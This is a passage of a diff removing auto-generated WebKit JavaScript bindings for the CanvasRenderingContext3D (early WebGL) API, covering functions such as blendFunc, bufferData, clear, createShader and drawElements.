-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned modeRGB = args.at(0).toInt32(exec);
-    unsigned modeAlpha = args.at(1).toInt32(exec);
-
-    imp->blendEquationSeparate(modeRGB, modeAlpha);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendFunc(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned sfactor = args.at(0).toInt32(exec);
-    unsigned dfactor = args.at(1).toInt32(exec);
-
-    imp->blendFunc(sfactor, dfactor);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendFuncSeparate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned srcRGB = args.at(0).toInt32(exec);
-    unsigned dstRGB = args.at(1).toInt32(exec);
-    unsigned srcAlpha = args.at(2).toInt32(exec);
-    unsigned dstAlpha = args.at(3).toInt32(exec);
-
-    imp->blendFuncSeparate(srcRGB, dstRGB, srcAlpha, dstAlpha);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBufferData(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->bufferData(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBufferSubData(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->bufferSubData(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCheckFramebufferStatus(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->checkFramebufferStatus(target));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClear(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mask = args.at(0).toInt32(exec);
-
-    imp->clear(mask);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClearColor(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double red = args.at(0).toNumber(exec);
-    double green = args.at(1).toNumber(exec);
-    double blue = args.at(2).toNumber(exec);
-    double alpha = args.at(3).toNumber(exec);
-
-    imp->clearColor(red, green, blue, alpha);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClearDepth(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double depth = args.at(0).toNumber(exec);
-
-    imp->clearDepth(depth);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClearStencil(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int s = args.at(0).toInt32(exec);
-
-    imp->clearStencil(s);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionColorMask(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    bool red = args.at(0).toBoolean(exec);
-    bool green = args.at(1).toBoolean(exec);
-    bool blue = args.at(2).toBoolean(exec);
-    bool alpha = args.at(3).toBoolean(exec);
-
-    imp->colorMask(red, green, blue, alpha);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCompileShader(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-
-    imp->compileShader(shader);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCopyTexImage2D(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    int level = args.at(1).toInt32(exec);
-    unsigned internalformat = args.at(2).toInt32(exec);
-    int x = args.at(3).toInt32(exec);
-    int y = args.at(4).toInt32(exec);
-    unsigned width = args.at(5).toInt32(exec);
-    unsigned height = args.at(6).toInt32(exec);
-    int border = args.at(7).toInt32(exec);
-
-    imp->copyTexImage2D(target, level, internalformat, x, y, width, height, border);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCopyTexSubImage2D(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    int level = args.at(1).toInt32(exec);
-    int xoffset = args.at(2).toInt32(exec);
-    int yoffset = args.at(3).toInt32(exec);
-    int x = args.at(4).toInt32(exec);
-    int y = args.at(5).toInt32(exec);
-    unsigned width = args.at(6).toInt32(exec);
-    unsigned height = args.at(7).toInt32(exec);
-
-    imp->copyTexSubImage2D(target, level, xoffset, yoffset, x, y, width, height);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateBuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->createBuffer()));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateFramebuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->createFramebuffer()));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateProgram(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->createProgram()));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateRenderbuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->createRenderbuffer()));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateShader(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned type = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->createShader(type)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateTexture(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->createTexture()));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCullFace(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mode = args.at(0).toInt32(exec);
-
-    imp->cullFace(mode);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteBuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasBuffer* buffer = toCanvasBuffer(args.at(0));
-
-    imp->deleteBuffer(buffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteFramebuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasFramebuffer* framebuffer = toCanvasFramebuffer(args.at(0));
-
-    imp->deleteFramebuffer(framebuffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteProgram(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-
-    imp->deleteProgram(program);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteRenderbuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasRenderbuffer* renderbuffer = toCanvasRenderbuffer(args.at(0));
-
-    imp->deleteRenderbuffer(renderbuffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteShader(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-
-    imp->deleteShader(shader);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteTexture(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasTexture* texture = toCanvasTexture(args.at(0));
-
-    imp->deleteTexture(texture);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDepthFunc(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned func = args.at(0).toInt32(exec);
-
-    imp->depthFunc(func);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDepthMask(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    bool flag = args.at(0).toBoolean(exec);
-
-    imp->depthMask(flag);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDepthRange(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double zNear = args.at(0).toNumber(exec);
-    double zFar = args.at(1).toNumber(exec);
-
-    imp->depthRange(zNear, zFar);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDetachShader(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    CanvasShader* shader = toCanvasShader(args.at(1));
-
-    imp->detachShader(program, shader);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDisable(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned cap = args.at(0).toInt32(exec);
-
-    imp->disable(cap);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDisableVertexAttribArray(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-
-    imp->disableVertexAttribArray(index);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDrawArrays(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mode = args.at(0).toInt32(exec);
-    int first = args.at(1).toInt32(exec);
-    unsigned count = args.at(2).toInt32(exec);
-
-    imp->drawArrays(mode, first, count);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDrawElements(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mode = args.at(0).toInt32(exec);
-    int count = args.at(1).toInt32(exec);
-    unsigned type = args.at(2).toInt32(exec);
-    unsigned offset = args.at(3).toInt32(exec);
-
-    imp->drawElements(mode, count, type, offset);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionEnable(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned cap = args.at(0).toInt32(exec);
-
-    imp->enable(cap);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionEnableVertexAttribArray(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned index = args.at(0).toInt32(exec);
-
-    imp->enableVertexAttribArray(index);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFinish(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-    imp->finish();
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFlush(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-    imp->flush();
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFramebufferRenderbuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned attachment = args.at(1).toInt32(exec);
-    unsigned renderbuffertarget = args.at(2).toInt32(exec);
-    CanvasRenderbuffer* renderbuffer = toCanvasRenderbuffer(args.at(3));
-
-    imp->framebufferRenderbuffer(target, attachment, renderbuffertarget, renderbuffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFramebufferTexture2D(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned attachment = args.at(1).toInt32(exec);
-    unsigned textarget = args.at(2).toInt32(exec);
-    CanvasTexture* texture = toCanvasTexture(args.at(3));
-    int level = args.at(4).toInt32(exec);
-
-    imp->framebufferTexture2D(target, attachment, textarget, texture, level);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFrontFace(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mode = args.at(0).toInt32(exec);
-
-    imp->frontFace(mode);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGenerateMipmap(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-
-    imp->generateMipmap(target);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetActiveAttrib(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    ExceptionCode ec = 0;
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    unsigned index = args.at(1).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->getActiveAttrib(program, index, ec)));
-    setDOMException(exec, ec);
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetActiveUniform(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    ExceptionCode ec = 0;
